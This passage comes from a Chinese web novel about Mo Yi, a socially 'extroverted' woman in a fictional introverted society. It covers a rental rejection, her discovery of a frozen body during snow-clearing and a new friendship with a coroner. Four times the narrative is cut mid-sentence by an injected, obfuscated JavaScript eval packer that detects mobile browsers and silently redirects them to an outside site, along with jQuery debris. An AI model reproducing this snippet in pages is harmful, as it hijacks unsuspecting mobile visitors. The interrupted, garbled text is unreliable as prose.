就在这时,默熠收到穆冬用心编辑的道歉短信,很长很长,写得非常真挚,而默熠还在处理这件事,便只看了个大概,简单回复道:“没事,我哭完就好了。” 她一直冷着脸,回复短信的时候也保持着这个表情,当她回复完短信看向简松时,毫不夸张的,简松打了一个寒战。 “记好了吗?我一人做事一人当,都是我的错,是我喜欢他,和他没有任何关系。”默熠拍着胸脯说,把穆冬摘得干干净净。 简松惶恐又忐忑地点头,他呼吸紧张,希望默熠快点走。 “很好。”默熠满意地点头,不再冷脸装酷,指着他篮子里的饼干问:“这个草莓夹心饼干好吃吗?” “还……还行。”简松一下没反应过来,这话题太跳跃,她的态度也转变得过快,刚刚还一副冷着脸蔑视一切的模样,现在又像个邻家妹妹一样。 “那这个棉花糖呢?你买的是什么口味的?”默熠相当自来熟。 “还可以,买的原味。”他不爱吃甜的。 “这个薯片是烧烤味儿的,和真的烧烤比哪个更好吃?” “都还好。”简松答道。 他的回答太笼统,一点儿也不具体,默熠不喜欢这种回答。 “那到底哪个最好吃?”她问,她只打算买一个。 “都差不多。”简松说。 这回答让默熠抓狂,“那哪个最差?”她反问道。 “都挺好的。”简松道。 “你就没有最喜欢的那个吗?”默熠问。 一说到喜欢两个字,简松耳朵都红了,他的脑海里只有泉氤的身影,他就这么愣在原地,一句话也说不出来。 要让他说出喜欢什么好像是件特别为难的事,默熠道了谢,不想再强人所难。 下午她第一次坐公交去上班,平时她的上班时间太早,公交还没开,她都是小跑过去的。 离下午两点还有点儿时间,她决定中途去房屋中介公司看看,之前在那里登过记,中介说有房源会联系她,但是她等了很久,一直没有消息。 室内非常安静,即便默熠是顾客也不会有中介一拥而上来向她推荐,不过中介这样的克制仅限于线下,如果添加了中介的联系方式,打开朋友圈就能看到他们一天连发十条的广告。 “你好,之前我在这里登记过的,你还记得吗?”默熠找到当时给她做登记的人,是一位看上去很文静的女士。 中介当然对她有印象,毕竟社牛还是很少见的。即便默熠没有跟他提起过自己有社交障碍,但社交方面是否“正常”是一个人的关键信息,他们会提前筛查,没有人愿意把房子租给社牛,也没有哪一个人愿意旁边住的是社牛。 默熠属于黑名单用户,然而她还全然不知。 “记得记得,但是很抱歉,我们这边暂时没有合适您的房子。”中介敷衍道。 “我把要求再降低点,合租也行的,贵一点儿我也行的,你能不能再帮我看看。”默熠只想早点搬出来,不要再打扰穆冬。 “好的,没问题,您这边再登个记。”中介装木作样地带她又填写了一遍租房需求。 整个流程很快,不超过五分钟。 但默熠总觉得心里空落落的,上次她住酒店就受到过区别对待,于是她杀了个回马枪,竟真给她发现猫腻。 她看到自己的申请表被扔在垃圾桶里,而别人的申请表被好好地放在夹板上。 中介没想到她还能马上又回来,尴尬地想自己把表格扔早了。 “我是什么很贱的人吗?”默熠质问道。 中介一言不发,沉默地低头,脸颊尴尬泛红。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357338|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比起上次的酒店前台和经理,中介的态度起码要好一点儿,默熠宽慰地想。 “我想知道理由。”默熠强势道。 对方抱歉地跟她说明情况。 “你怎么知道我社牛的?”默熠抓住了重点。 刚开始中介支支吾吾,含糊其辞。 “你在侵犯我的隐私,我要投诉你。”默熠态度强硬地拿出手机假装要打电话,中介才说出实情,原来安静市有一份社牛名单,中介能从一些特殊渠道用钱拿到这份名单。 也许是对方认错态度较好,也许是因为默熠只想租到房子,总之她没有像上次那样和对方再理论。 “我知道,比起一般的客户,我的情况要复杂一点,对你来说工作难度要大一点,你不愿意处理我可以理解,但请你跟我说清楚,要不然我真的会一直等,这很耽误我的时间。” “抱歉,女士,我非常抱歉。”中介羞愧地抬不起头。 “我只剩半个多月就要搬家,所以非常着急,我知道你工作很忙,但也麻烦你处理一下我的申请,我知道我的事儿处理起来比较麻烦,我会加钱的。” “不不不,是我的错,我会尽好我的本职工作,尽快给您找到房子的。”中介赶紧表态,心里期盼她不要打电话去有关部门投诉。 从中介公司出来,默熠就自言自语地抱怨,“感觉得了社牛就会被世界嫌弃。” “哼。”她又冷笑,“我都还没嫌弃你呢,你居然来嫌弃我。”她心情烦躁,表现为和空气搏斗。 “气死我了,我要回店里吃两个橙子布丁。”这是默熠最喜欢的甜品,“开心点儿,你吃甜点有员工优惠的,你再多吃一个也不贵。” 不一会儿她就给自己哄好了,当她顶着肿胀的眼皮走进店里的时候,她已经是一个没事人了。 “你的眼睛……”谭淳皱眉问。 “昨天太难过哭了很久,不过现在已经什么事儿都没有了。”默熠笑得没心没肺,她换好衣服,系好围裙走进后厨。 而一向沉默寡言的星星姐今天竟然主动开口,平时可都是默熠主动跟他唠嗑的,默熠说十句,她回一个嗯都算话密。 “你今天迟到了。”星星姐戴着口罩揉面团。 “嗯,睡过头了。”默熠戴上口罩,开始打鸡蛋。 “你每天早上都是跑步过来的。” “怎么样,我身体好吧。”默熠的心情看上去很不错,敲鸡蛋也能敲出节奏感,她觉得自己多少是有点音乐天赋在身上的。 “嗯。”星星姐点头道,然后捏着手,吞吞吐吐地说:“我……我妹妹换了新的自行车……她那辆旧的没有坏,只是有点儿旧……家里没人骑,你要不要?” “好啊好啊。”默熠想也没想就答应了,听语气很欢快,但她忽然又气馁了,“不过我不会骑自行车。” “没关系,很简单的,多摔几次就会了。”星星姐说。 默熠一下就又来了信心,“谢谢你,星星姐,我要给你做一个芝士夹心蛋糕。” “不用了,不客气。”星星姐没想过要收回礼,她一直想找机会好好感谢默熠在他面试时帮的忙,而且这个旧自行车也算不上礼物,担不起回礼。 “诶呀,给妹妹的,给妹妹的,你就收下吧。”默熠非常熟络地硬塞礼物。 17. 惊吓 经过江太太一封又一封的投诉信,默熠在这片社区也扫不下去雪了。 “真是人不可貌相,一个看着颤颤巍巍的老太太,竟然还有精力搞这种事,有这种坚持不懈的毅力,拿去赚钱不好吗?干嘛要花在我身上,四舍五入我比钱还重要。”默熠在日记里吐槽老太太,日记本旁边是一个小玩偶,陆北寻送给她的,他们一家昨天就走了,听陆北寻说是因为她妈妈生日要到了,他们要回去给穆璇过生日。 不过默熠打听到一个有意思的小八卦,穆家因为父母忙,没有过生日的传统,所以是没有人给穆警官过生日的。 她又写了会儿日记,自言自语道:“要早点睡啊。” 明天休假,但穆警官上班,她还要起个大早去新的扫雪点,据说这次局长给她安排了个绝对不会有人投诉她的偏远地区。 当她到那里的时候,她才深刻理解局长的话是什么意思,她望着被废弃的木材厂,感叹道:“确实不会再有人投诉我了,除了你,穆警官。” “这里别说人了,连个死人都没有。”默熠吐槽道,她迈出左脚向前,整个小腿都没在雪里。 “清理这种地方也太没意义了吧,清理完又不用,不是很浪费资源吗?我想把我的劳力用在更需要我的地方。”默熠问。 “我回去给你打报告。”穆冬只能做到这里,剩下的交给局长考虑。 “慢慢铲,我就在旁边看着你。”穆冬递给她一把铁铲。 “知道了。”默熠颓废应道。 一锹,两锹……她弯腰铲着,表面上看她静静工作一言不发,其实心理活动一刻都不停歇。 “加油,坚持,一个上午很快就会过去了……” “为什么没有快进键,要是能像看剧一样两倍速就好了,这么无聊的事居然要一倍速实打实经历完……” “这种日子什么时候才是个头啊……” 铲雪的动作越来越熟练,就是铲久了,腰也酸,手也酸,不得已将铁锹杵在地上,一手撑着铁锹,一手锤了锤腰,“我的命怎么这么苦啊?”她自言自语道,她本来想对着天大喊这句话的,这样才有悲凉的感觉,但她还要把体力留给这片看不到尽头的雪地,只好低着头小声吐槽。 吐槽完,还得干活儿。值得欣慰的是雪粉松散干燥,铲起来比较轻松。 又是一铲子,但这次铲到了一个硬硬的东西,不像是石头,有一定的韧性。她打起精神把雪往两边拨开,是一只雪地靴的鞋底,鞋码很大,看上去是男士的鞋子。 心中警铃大作,脑子里忽然回响起泉氤的话,“冻死的醉汉”,她好像铲雪铲到尸体了……不会吧,不会真这么倒霉吧,人再倒霉也要有个限度啊…… 然而这都只是猜测,万一只是鞋子而已呢? 她安慰自己,鼓起最后一点儿勇气再往上拨了拨雪。 是一只厚实的手套。 八九不离十了,总不能是哪个艺术家用衣服在这里搞的艺术作品吧。 “啊啊啊啊啊……”几乎是震耳欲聋的尖叫。 “淡定,淡定。”穆冬随手抄起附近的一根树枝拨开了最上面的雪,虚惊一场,只是被遗弃的鞋子和手套。 “接着铲吧。”穆冬说。 默熠觉得刚刚那处风水不大好,便没有继续刚才的位置铲雪,换了处位置接着铲。 又是一铲,晶莹的雪粉被铁铲剖开,她铲雪熟练,直接倒在一旁,马上又下了第二铲,第三铲…… 今天是个好天气,阳光温暖,洒在后背上很暖和,周围是一望无际的白,远处被遗弃的木材厂都不让人觉得破败,而是安静沉默的化身,默熠感觉到静谧的美好,她抬头望了一眼天空,天空晴朗,蓝得清澈,这要是电视剧,都是男女主互赠情书的场景。 但是很煞风景的是,自己在干活。 她低头继续干活,一根大拇指露出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369142|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过她铲雪太快根本没注意到,直到她感觉铲子铲到了什么。她用铁铲尖拨开雪粉一看,一截手臂展现在她面前。 默熠的脸瞬间僵住,她觉得气氛骤然诡异,沉默地抬头看了一眼穆冬,以示求助。 穆冬立即俯身检查,他拿树枝朝最上面拨了拨雪,一张人脸露了出来。 “啊啊啊啊啊啊……”尖锐的女声像锥子划过玻璃那样将湛蓝的天空划破,默熠的心脏狂跳不已,她赶紧远离这里,跑了几步被雪绊倒,不断干呕,满脸恐惧,一句话都说不出来,甚至都忘了哭。 穆冬眼神凝重,眉头紧皱,这个人他认识,是之前在天台挟持小学生的那个男子…… 道路平坦宽阔,一辆又一辆的警车疾驰而过,驶往被废弃的木材厂,警笛声长啸不已,默熠第一次感受到世界的喧嚣,可这喧嚣的出现是因为犯罪,而非繁华的市井生活,在这湛蓝如画的天空下就格外诡异。 默熠跪坐在雪地上,失神地睁着眼睛,像一个眼神不聚焦的玩偶。她不断干呕,呕吐是情绪的外泄,但情绪却不会因为呕吐而消失,她仍然惊魂未定。 穆冬给了她一包纸巾,“我先送你回去。” 他站着,等着默熠自己起来,高大的身材挡住了面前的阳光。 由于过于惊恐,默熠甚至没发现自己的脚被崴到,直到她试着站起来,脚踝的刺痛感拉着她往下坠,她重重地跌坐在冰冷的雪地上,酸涩顿时涌上鼻根,顷刻间所有的委屈、恐惧、不安……洪水一般席卷着她的心,令她失控地哭起来。 穆冬还是没有说话,他一向沉默寡言,静静地背过去蹲下,双手朝后动了动,作出一个邀请的姿势。 默熠迟疑地看了一会儿才明白是什么意思,而穆冬一直很安静,他没有催她,只是静静候着。 “谢谢。”默熠轻声道。 “咯吱、咯吱……”穆冬背着一个人,踩在雪地上的脚步沉了不少…… 18. 朋友 雪地里举目皆白,只有些黑色的人影移动,身穿黑色制服的警员忙着封锁现场,他们在雪地上拉起明亮的橙黄色警戒线,鲜亮的色彩和禁忌相钩连。 穆冬把人送上车,但默熠还是一脸泪痕,目光呆滞。 “需要我给你系安全带吗?” 默熠静静地一动不动,穆冬觉得她被吓傻了,无奈又心虚地越过她的同意给她系上。 一路上,她都很沉默,没有说一个字。 经诊断,她脚踝的扭伤需要静养,而且她的情绪状态很不好,最好在家休息几天,对于默熠来说,这算一个坏消息,因为她的工作和社区服务的事都会被往后延。 在家休息的一天夜里她耳边忽然响起一段旋律,像是一支歌的副歌,那段旋律像是她许久未见的老熟人,一直在她脑子里打招呼,“有些爱,藏在心底越发凝重。有些爱……宣之于口才会轻盈……”有关这段旋律的记忆断断续续,但她已经为这支曲子着了迷,她努力尝试回忆起全部。 “人们说当夏天降临的时候,玫瑰和爱会同时到来……可夏天还未……到,玫瑰还未开……我便有爱可依,我爱你……们……” 她记录歌词的手暂停,她觉得自己的回忆也不是一定准确。她修改了一些小瑕疵,比如她觉得“夏天还未到,玫瑰还未开”特别拗口、不押韵,就把“到”改为“来”。 越到后面她的记忆就越模糊,只有旋律没有歌词,甚至连旋律都消失了,她只好由回忆改为创作。 第二天当她再次看到客厅里的那把吉他时,便很想用吉他把脑海里的旋律演奏出来,于是她给穆冬发去了短信,“穆警官,我能用下你的吉他吗?我保证会很小心的,不会给你弄坏的。” “随便,送你了。”反正是上一任屋主留下来的,穆冬本人对音乐一窍不通,买下这处住宅后那把吉他就成了壁炉上的装饰,如果不是他勤于打扫,估计吉他都已经积灰了。 “谢谢。”默熠便取下旧吉他,她心情忐忑,不知道自己还记得多少演奏技巧。 她本想先试试音,但音乐对她就像有某种魔力,明明只是简单地扫扫弦,手指却像有肌肉记忆般熟练的弹奏了这首曲子的前奏,和她脑海里的一模一样。 然而事情并不会一帆风顺,她始终无法回忆起桥的部分,当她试图去创作而不是回忆时,事情变得更加困难,无论是歌词还是旋律,她都不知道要怎么去展示,这首歌的创作也暂时被搁置。 因为每天都要写日记,所以她都会关注天气情况,她发现从在家修养以后就没有遇到过天晴,本来天就亮得晚,还不晴朗,每天两眼一睁不是灰蒙蒙的天就是黑漆漆的夜,心情很难好起来。 一个人平时热情洋溢,一旦低落就格外明显,就像天不再晴了一样,穆冬察觉到她的情绪,但没有口头上的关心,他最近一直因为雪地里的尸体和泉氤频繁接触,泉氤是法医,要想拿到一手信息就得找她。 这天泉氤心情不错,因为今天她终于可以把尸体解刨完,二人一起走出工作室,准备去食堂吃午饭,穆冬在祝贺她工作顺利的同时提到了默熠,“你好像和她挺合得来的。” “你不觉得她性格很像外婆吗?”泉氤轻轻微笑。 “是挺像的,但是她最近情绪很低落。” “是因为天气吗?你知道的,冬季是最难熬的,阳光比黄金还可贵。”泉氤无奈道。 “其实她暂时住在我那里。”穆冬将默熠的情况跟她交代清楚,“如果你不介意的话,你可以跟她说说话。” “好啊。”泉氤没有推辞。 二人一起来到食堂门口,泉氤说:“那今天下班我们先去买点儿吃的,再去你家。” “嗯,好的。” 这个时间是饭点儿,简松来食堂遇到他们的概率很大,当然他前几天就注意到了二人频繁的走动,他可以把这理解为工作上的需要,不过去对方家里,会不会太亲近了,不,一定是工作太忙,下班后一起加班谈工作,这很合理,他各种说服自己。 “一来一回的太麻烦,我住你那儿吧,反正我明天休假。” 穆冬点点头。 “你得给我做好吃的,我好久没吃你做的菜了,真怀念啊。”泉氤说。 简松就坐在他们旁边,都不用刻意偷听就能听到二人的对话,只见他眉头越发紧蹙,吃面的一次性筷子都被杵断。他再也没有办法欺骗自己,这两个人就是关系很近。 他没法儿再听下去,离开了食堂。 泉氤和穆冬饭后还在一起聊天,不过说的是那具尸体,他们一起走在回去的路上,法医的工作室很偏,路上几乎没有旁人。 “你案子调查的怎么样了?”泉氤问。 “在他家里找到了布莱克胶囊,从包装上看应该是第二代,已经送去鉴定了,过几天才能拿到结果。”穆冬说,他的语气听不出有什么波澜,冷冷的,是汇报工作的语气,但他的脑海里却浮现出那个男人的日记。 布莱克胶囊是一种性格障碍治疗药物,可是药效不稳定,副作用过大,极易让人精神错乱,但在五十年前竟然还是被批准上市的药物,直到后来发生的事故越来越多,才不得已被下架。 而在三年前,布莱克胶囊二代又横空出世,流行于各种黑市。 “我猜也是,我解刨他的大脑时发现他的杏仁体是蓝色的,上次服用布莱克胶囊导致精神错乱死的那个社牛也是这样。”泉氤淡淡道。 话题一下变得沉重,二人都不再说话,直到回到工作室,泉氤才担忧地问道:“她应该不会去买布莱克胶囊吧?” 穆冬知道这个她指的是默熠,“目前看来没有,以后不确定。” “希望她别做傻事。”泉氤叹气道。 当天晚上泉氤临时决定要带些甜品过去,因为她想起有人说甜点能让人心情变好,为此她还特意回了趟家,带了适合甜点的盘子,作为一个完美主义者,一切都要恰到好处。 其实默熠并没有穆冬想象的那么消极,她尽可能使自己在休息的时间多了解些知识,挑了很多纪录片。 “重要的人际关系都需要注册登记,如好友、恋人、夫妻、仇人、前任好友、前任情侣、前任夫妻…… 人们对法律上的关系确定十分谨慎,即使相恋已久也很可能不会选择领证,而是在分手后才领证。这里有一组来自国家关系确认中心的调查数据,在登记好友、恋人的人中,有48.6%的人是为了办理“前任好友”“前任情侣”的关系认定。 前任关系、仇人等一系列不友好关系的登记能帮人避免很多尴尬场景,比如你再也不会在社交平台上看到对方的帖子,即便对方在你喜欢的视频下留言,系统也会自动帮你屏蔽掉对方。 而在线下,你们永远也不会订到同一趟列车的车票,当你去游乐园、博物馆游玩时,大系统也会避免让你们买到同一天的票……” 她看得认真,都没有察觉到穆冬回来了,还带了一个人一起回来。 “好久不见。”泉氤出现在她面前,她带了甜点、零食和饮料,甜点精致小巧,用陶艺盘子盛出来,盘子色彩丰富,多用嫩绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379038|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和粉色,和市场上常见的朴素风格的餐具很不一样。 “好久不见,你来看我吗?”默熠感觉很惊喜。 “听说你一个人在家情绪比较低落。”泉氤坐到她身边。 “对啊,一个人无聊死了。”有人来陪她,她自然开心,自来熟地唠起嗑,“好漂亮的盘子,很有春天的气息。” “是我自己做的哦。” “好厉害。” “这有什么厉害的,你要是感兴趣,下次我们可以一起去做。” “好啊好啊。”默熠笑道,但也有遗憾的地方,“早知道你要来,我就提前做点甜点了。” “可是我也买了,甜点太多吃不完也很浪费。”泉氤安慰道。 “在我这里不存在吃不完。”默熠好奇地打开零食袋,惊喜道:“你在我脑子里安了监控吗?选的全是我想买的。”草莓夹心饼干、原味棉花糖、薯片……都是上次碰到简松时他买的那些,牌子和口味都一模一样。不过她最后为了省钱,还是一个都没买。 “你是不是去安静超市买的?”默熠问。 “嗯,那里东西比较全,我一般都在那里买。” 穆冬不是一个爱说话的人,他独自上二楼先加班,也方便她们在一楼聊天。 她们也就是随便说了几句,但默熠却感动地哭起来,她实在是一个情感很充沛的人。 “我本来以为没什么人能受得了我,我知道我跟大家都不一样,用他们的话说我有病……”她边哭边说,但想到上次把眼睛哭肿了,这次哭的很克制。 “你别这样想……”泉氤安慰的话还没说完。 默熠已经开始“抢答”了,“可是有病就有病,我天生就是这样啊,这又不是我的错,我也有好好遵守规则尽量不去打扰别人。” 泉氤给她擦眼泪,默熠更加感动,坦言道:“我们去领好友证好不好?” “这……太突然了吧。”泉氤惊讶道,“不过很有你的风格。”她欣赏她的直白坦率,“明天我休假,明天去吧。” 默熠没想到泉氤就这样答应了,激动地抱住她。 成为朋友后,默熠迫不及待地和泉氤分享自己的歌,她抱起吉他熟练地弹唱,她嗓音干净,感情细腻,将这首歌唱的十分清新。 “人们说当夏天降临的时候,玫瑰和爱会同时到来。可夏天还未来,玫瑰还未开,我便有爱可依,我爱你们。我爱你们,我不知何时才能想起的亲人,我不知何处的友人,我不知是何模样的爱人。有些爱,藏在心底越发凝重。有些爱,宣之于口才会轻盈。我爱你们,我这样满足。我听说忘记的人会重新记起,失散的人会重新相遇,模糊的人会变得清晰 我爱你们,我这样满足……” “好温暖的歌曲,叫什么名字?” “我爱你们。”默熠回答道。 “我喜欢歌词里化用的谚语。” “哪句?”默熠都不知道这首歌里还有谚语。 “第一句,原本是‘当夏天降临的时候,玫瑰和爱情会同时到来’。但是把爱情换成爱以后,你就有很多不同的爱了。这是一句几乎只在外向国才会用的谚语。因为内向国大部分土地的气候都比较寒冷,只有南方地方气候温暖些,应该那些地方和外向国会用这句话。我们北方用的更多的是‘当冬天降临的时候,雪花和爱情会同时到来’。”泉氤解释道。 可是自己醒后从来没听人提起过这句谚语,难道自己是外向国人,但之前在入境名单里没有找到自己的消息啊,难道自己是在南方出生的内向国人? 19. 日记 陶艺室在商场二楼,这家店开了快十年,泉氤是从大一开始光顾这里的。 店名叫“安静时光陶艺室”,但是一点儿都不安静。 泉氤和默熠一走进店里,就听到“布谷布谷”的报时鸟叫声,声音洪亮,这就是店里最大的噪音。 “那个钟是坏的,坏了五年了。”泉氤跟默熠解释,“现在都成了店里的特色。” 今天是工作日,来店里的人不多,加上她们两个一共才六个人。许多隔间都空着,其实隔间与隔间的遮挡并不十分严实,只是象征性地放了水波纹的塑料隔板。 隔板还不高,只要一站起来就能将所有人一览无余。 “我认识那个人,你同事。”默熠贴到泉氤耳边轻轻说,“我第一次见他是在医院,我还以为他是简主任呢?结果他是来给简主任修电脑的,简主任是我主治医师,手术做得很好,希望你永远都用不上。”默熠说话思维总是很跳跃。 简松第一眼就注意到了泉氤,他的心怦怦直跳,即便现在见面机会较多,他也还是和第一次见面时那样心动。 今天是久违的天晴,从陶艺室的巨大玻璃窗望出去可以看到天空湛蓝,云朵洁白蓬松又柔软,比起棉花,简松觉得云更像洗手时搓出的绵密泡沫。 他第一次见泉氤,是在大二的一个午后,阳光和现在一样好,那是一场婚礼,她穿着款式简单、洁白无瑕的伴娘服,裙子刚刚好遮住膝盖,轻盈地像只蝴蝶。那时她还是短发,独自一人在水池洗手,她搓出丰富的泡沫,随后像吹花瓣一样把泡沫吹走。 却不想无意间吹起他心间的一根羽毛。 此后那根羽毛一直在风中,不曾落地,并在每一个夜晚沾满墨水,写下一整页的思念。 内向国人喜欢写日记,内向国人也喜欢把事情放心底,而心事的大多数归宿就是日记本。 他有整整五本厚重的日记,记录着五年的单恋。 工作日不会开放所有的隔间,店员给顾客的位置尽量都排在一起,以方便店员后续做卫生清洁。 因此默熠和泉氤的双人隔间离简松很近。 默熠完全是个新手,泉氤很耐心地指导她,如何打湿泥胚,怎么找中心,捏边塑形的时候要注意什么,她都手把手教给她,看上去二人关系匪浅。 “我要做一对杯子,因为我们是好朋友,好朋友要一辈子。”默熠说。 “你买两床被子会不会更符合谐音梗一点。” “有道理。” …… 默熠是个话唠,总是和泉氤窃窃私语,然而陶艺室非常安静,她们的话简松大都能听见。 她们是什么时候成为朋友的呢?简松好奇又纳闷,她们才认识没多久吧。 简松心情沉闷,他低着头,默默地做着一个盘子。 一整个下午,乱报时的布谷鸟都像是病了,不仅弹簧变得疲软,没有弹性,导致布谷鸟一弹出来就脸朝下面坠着,只是因为有弹簧吊着才不至于落到地上,报时的声音也小了很多,节奏也不对,“布、布谷谷、布谷……” “我们才来的时候还叫的挺洪亮的,难道是回光返照?”默熠吐槽道。 “都坏了五年了,不会一下死透的。而且老板一直在坚持修理,只是从来没有修理成功过。”泉氤的话也像是在吐槽。 “为什么不换个新的啊,这个报时钟有什么特别的意义吗?” “不清楚。”泉氤耸耸肩。 简松率先做完盘子,但做的一塌糊涂,不仅造型不规则,上色也很糟糕,不像是一个陶艺老手的水平。如果是泉氤做出这样的陶器她一定会重新来过,她不会允许这样的东西出现在自己家里的。 简松离开时心情也很沉重,本来他就是因为泉氤和穆冬走得太近,心情不好才来这里平复的,现在看到默熠和她才认识几天就已经发展成好友,这不得不让他觉得自己这五年很荒唐。 可想着想着,越觉得不对劲,泉氤和穆冬关系亲近,泉氤和默熠是好友,默熠喜欢穆冬,这……这是个三角恋,她知道自己好朋友喜欢穆冬吗? 下午六点,暮色已深,简松坐在电脑面前,将文档里的文字删删改改了许久,最后敲定为一个短句。 简松克服了对默熠的恐惧,社死就社死了,他们三个人这么复杂的关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385260|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始就应该理清楚,理清楚后泉氤的选择才是她真正考虑过后的,他会无条件支持她,哪怕她的选择还是穆冬…… 鉴定结果做了加急处理,从死者林立家里发现的药品就是布莱克胶囊二代,尸检报告也完整出具,穆冬开始做结案材料。 他不得不再次翻阅林立生前的日记。 其中有三则重要的日记,一则是十月初的日记。 “妈妈在我九岁的时候去世,她去世后,就再也没有愿意和我一起看烟花的人,所有人都不喜欢,包括我的父亲,为什么我生来性格就如此外向。我应该哭的很大声,我希望有人能注意到我,关心我,我仅仅只是这样想愿望就成真了,有一个和我同龄的孩子主动过来给了我通话邀请,并问我怎么了?我说我想有人陪我看极夜日的烟花,他说他可以陪我。于是我们一起去到了天台,看了烟花。 可这不过是我精神错乱后的幻觉,他的家长情绪激动地在房间外咒骂我,说我掳走了他们的孩子,将他至入危险之地。我怎么能做这样的事,我怎么变成这样的人,即便这不是出于我的本意,但我就是做了这样不齿的事,对不起,真对不起。” 第二则是十月中旬的日记。 “我住院接受治疗有一段时间,但和以前一样,我对医院提供的社交障碍治疗药物过敏,院方给我批了出院许可。明天我就可以出院,明天也是妈妈的忌日,我好想妈妈,但是我对不起她,我没能成为让她骄傲的人,我只会让她蒙羞。” 第三则日记是林立死亡当天写的,从日记里不难看出他的精神已经相当错乱。 因为他当天的日记还写道:“我反复确认了8次,今天的确是12.31日,我应该没有出现幻觉。”而那天是10月下旬。 “这次我想自己看一次烟花,我要找个没人的地方,我不想给人添乱。晚上我想吃面条,以前妈妈喜欢给我做面条,我已经揉好了面团,等看完烟花回来就发酵好了,一个人过极夜日也没什么大不了。” 没人知道他在雪地里出现了怎样的精神错乱,尸检鉴定报告显示他身上没有外伤,唯一异常的地方就是布莱克胶囊造成的。 20. 我爱你…… 我觉得她喜欢我…… 穆冬在下车前收到了一封匿名邮件,里面只有一句话,“默熠喜欢穆冬,她亲口说的。” “什么东西?恶作剧?”穆冬开始没当回事。 他和往常一样停好车回家,指纹录入,门锁被打开,门被旋开的一瞬间,他看到默熠从餐椅上坐起来,像是专门在等他回来一样。“你吃过晚饭了吗?今天我做了晚饭。” 昨晚泉氤来是穆冬做的晚饭,大家一起吃的,默熠就以为和穆冬的关系已经好到可以一起吃饭了,而且她也很感激穆冬对自己的照顾。 在内向国一起吃饭是亲密行为,关系至少得是朋友。昨天之所以和默熠一起吃饭,是因为泉氤的要求。穆冬自认为和默熠的关系算不上这么亲近。 “我吃过了,谢谢,吃饭我一般在食堂解决,你不用考虑我。”穆冬连同以后的午、晚餐一并拒绝,他对默熠的关心有一丝惶恐,对匿名信只是恶作剧的猜测开始动摇。 “这是我姐姐、姐夫给你的礼物。”穆冬拿出一份文件,他们委托穆冬转交给默熠,虽然这对夫妻本人因为社恐没有亲自答谢,但准备的礼物还是很有诚意的。 默熠接过文件,发现那是一份精美的地契转让书,一个南方的橙子园。 “给……给我的!”默熠震惊。 “嗯,你不是最喜欢橙子了吗?”穆冬说。 “啊?”默熠茫然,该不会是上次逛超市她说最喜欢橙子被他听进去了吧…… 她该怎么跟穆冬解释呢,她最喜欢的东西有很多,她只是喜欢用最喜欢来表达自己的喜欢而已。 “你……不喜欢?”穆冬也陷入了疑惑,他明明亲耳听到她亲口说的,难道她现在换口味了? “不是……”默熠后悔道,她当时怎么不说点儿更直接的东西,喜欢什么橙子啊,她觉得自己是个傻子。这个橙子园是人家送的礼物,也不好卖了换钱,她又不会打理也没有兴趣学习打理果园。而且她也不是为了报酬才帮陆北寻解决问题的,她拿果园无用,荒废了果园又很可惜,这个礼物反倒成了她精神上的负担。再者收到礼物本来是一件很开心的事,而她发现自己竟然在后悔没有收到更好的礼物。 痛定思痛后,她把地契又递给穆冬,“他们的好意我心领了,但是这份礼物太贵重,我不能收。” “他们负担得起,你不要有心里负担。” “可是我负担不起,你都不知道我刚刚沉默的那几秒里,我差一点就被金钱腐蚀了,这不是我自己劳动换来的,我守不住这份财富,它只会折腾我,我可不想暴富后又回到现在的样子,而且那个时候我肯定过不了现在这种生活,那我才是真的没有活路了。”默熠越说越坚定,她见穆冬不收,直接塞到他手里。 “你送了我一把吉他,我已经很开心了。”默熠是真的开心,她找到了自己的梦想,“我会让这把吉他名扬四海的。” “对了,你要听听我的新歌吗?”默熠很兴奋的样子。 穆冬其实不太想听,他就不是个爱听歌的人,但看到默熠那么热烈的模样,又不想扫兴,“你唱吧。”他坐到一旁。 默熠马上拿出吉他,她手指拨动着琴弦,哼唱着前奏,她很喜欢这首歌的旋律,轻快清新,一闭上眼睛就仿佛置身于夏天的树荫下,嘴角不自觉露出微笑。 